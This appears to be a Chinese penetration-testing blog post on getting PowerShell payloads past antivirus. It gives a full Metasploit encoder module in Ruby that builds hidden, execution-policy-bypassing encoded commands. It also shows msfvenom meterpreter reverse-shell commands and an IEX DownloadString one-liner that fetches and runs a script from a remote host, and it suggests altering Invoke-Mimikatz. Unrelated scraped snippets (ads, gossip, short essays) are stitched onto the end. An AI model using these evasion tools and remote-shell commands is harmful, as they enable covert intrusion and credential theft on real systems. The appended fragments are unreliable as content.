Windows PowerShell是以.NET Framework技术为基础,并且与现有的WSH保持向后兼容,因此它的脚本程序不仅能访问.NET CLR,也能使用现有的COM技术。
同时也包含了数种系统管理工具、简易且一致的语法,提升管理者处理,常见如登录数据库、WMI。Exchange Server 2007以及System Center Operations Manager 2007等服务器软件都将内置Windows PowerShell。
Windows PowerShell的强大,并且内置,在渗透过程中,也让渗透变得更加有趣。而安全软件的对抗查杀也逐渐开始针对powershell的一切行为。
在https://technet.microsoft.com,看到文档如下:
Here is a listing of the available startup parameters:
-Command Specifies the command text to execute as though it were typed at the PowerShell command prompt.
-EncodedCommand Specifies the base64-encoded command text to execute.
-ExecutionPolicy Sets the default execution policy for the console session.
-File Sets the name of a script fi le to execute.
-InputFormat Sets the format for data sent to PowerShell as either text string or serialized XML. The default format is XML. Valid values are text and XML.
-NoExit Does not exit after running startup commands. This parameter is useful when you run PowerShell commands or scripts via the command prompt (cmd.exe).
-NoLogo Starts the PowerShell console without displaying the copyright banner.
-Noninteractive Starts the PowerShell console in non-interactive mode. In this mode, PowerShell does not present an interactive prompt to the user.
-NoProfile Tells the PowerShell console not to load the current user’s profile.
-OutputFormat Sets the format for output as either text string or serialized XML. The default format is text. Valid values are text and XML.
-PSConsoleFile Loads the specified Windows PowerShell console file. Console files end with the .psc1 extension and can be used to ensure that specific snap-in extensions are loaded and available. You can create a console file using Export-Console in Windows PowerShell.
-Sta Starts PowerShell in single-threaded mode.
-Version Sets the version of Windows PowerShell to use for compatibility, such as 1.0.
-WindowStyle Sets the window style as Normal, Minimized, Maximized, or Hidden. The default is Normal.
针对它的特性,本地测试:
Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Micropoor')
上文所说,越来越多的杀软开始对抗,powershell的部分行为,或者特征。以msfvenom为例,生成payload。 https://www.secpulse.com/archives/71225.html
micropoor.ps1不幸被杀。
针对powershell特性,更改payload
接下来考虑的事情是如何把以上重复的工作变成自动化,并且针对powershell,DownloadString特性,设计出2种payload形式:
(1)目标机出网
(2)目标机不出网
并且根据需求,无缝连接Metasploit。https://www.secpulse.com/archives/71225.html
根据微软文档,可以找到可能对以上有帮助的属性,分别为:
WindowStyle
NoExit
EncodedCommand
exec
自动化实现如下:
# copy base64.rb to metasploit-framework/embedded/framework/modules/encoders/powershell.If powershell is empty,mkdir powershell.
# E.g
# msf encoder(powershell/base64) > use exploit/multi/handler
# msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
# payload => windows/x64/meterpreter/reverse_tcp
# msf exploit(multi/handler) > exploit
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.
# [*] Started reverse TCP handler on xx.1xx.xx.xx:xx
class MetasploitModule < Msf::Encoder
Rank = NormalRanking
def initialize
super(
'Name' => 'Powershell Base64 Encoder',
'Description' => %q{
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.
},
'Author' => 'Micropoor',
'Arch' => ARCH_CMD,
'Platform' => 'win')
register_options([
OptBool.new('payload', [ false, 'Use payload ', false ]),
OptBool.new('x64', [ false, 'Use syswow64 powershell', false ])
])
end
def encode_block(state, buf)
base64 = Rex::Text.encode_base64(Rex::Text.to_unicode(buf))
cmd = ''
if datastore['x64']
cmd += 'c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe '
else
cmd += 'powershell.exe '
end
if datastore['payload']
cmd += '-windowstyle hidden -exec bypass -NoExit '
end
cmd += "-EncodedCommand #{base64}"
end
end
# if use caidao
# execute echo powershell -windowstyle hidden -exec bypass -c \""IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/xxx.ps1');\"" |msfvenom -e x64/xor4 --arch x64 --platform windows
# xxx.ps1 is msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.
copy powershell_base64.rb to metasploit-framework/embedded/framework/modules/encoders/powershell.If powershell is empty,mkdir powershell.
参数 payload 选择是否使用Metasploit payload,来去掉powershell的关键字。
例1(目标出网,下载执行):
echo powershell -windowstyle hidden -exec bypass -c \""IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/micropoor.ps1');\"" |msfvenom -e powershell/base64 --arch x64 --platform windows
例2(目标不出网,本地执行)
注:加payload参数
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.117 LPORT=8080 -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows payload
更多有趣的实验:
把例1的down内容更改为例2,并且去掉payload参数。来减小payload大小。
更改Invoke-Mimikatz.ps1等。
参考致谢
https://technet.microsoft.com/en-us/library/ff629472.aspx
https://www.secpulse.com/archives/tag/powershell
https://github.com/danielbohannon/Invoke-Obfuscation
本次拓展活动承办方为郑州派尼尔拓展训练公司,拓展基地为新郑龙福山庄,参训人员共68名,拓展活动项目精彩纷呈,时间安排合理,餐食美味,收获颇多! 通过拓展活动,既提升了参训人员的团队凝聚力与执行力,又...
小红在家里的枕头上发现一根比自己头发要长很多的的头发丝,心下一慌,有鬼。深夜,老公已经熟睡,小红偷偷摸摸爬起来,拿着老公的手指解锁了他的手机。最近,老公的微信里添加了几个陌生妹子,但是他居然把聊天记录...
正在上网课的你知道清明节要放假了,你会有什么想法呢,有的小伙伴们觉得内心毫无波澜甚至有点悲伤,冲掉了一周中课最多的一天,后面还要在补回来的。下面友谊长存小编带来:上网课听说清明节要放假时是什么心情...
. 别来无恙的特殊含义是什么 ?别来无恙本来是说的是很久不见了,你过得怎么样呢,但是最近这个此因为新型冠状病毒的抗击疫情的行动有了新的意思。下面友谊长存小编带来:别来无恙的特殊含义是什么 。 别来...
产品立项,是产品整个生命周期中非常基础和重要的阶段。很多公司可能没有专门的产品立项流程,基本都是领导或产品经理确定了产品需求就开始设计开发。 那产品立项需要做什么呢?简单理解就是决定一个产品或项目做...
本文导读目录: 1、在网络里菜鸟,大虾之类的词都是什么意思啊? 2、现在最新的网络用语 3、编程高手与菜鸟有什么明显的区别吗? 4、黑客的定义是什么?黑客和骇客有什么区别?真正意义上的黑客...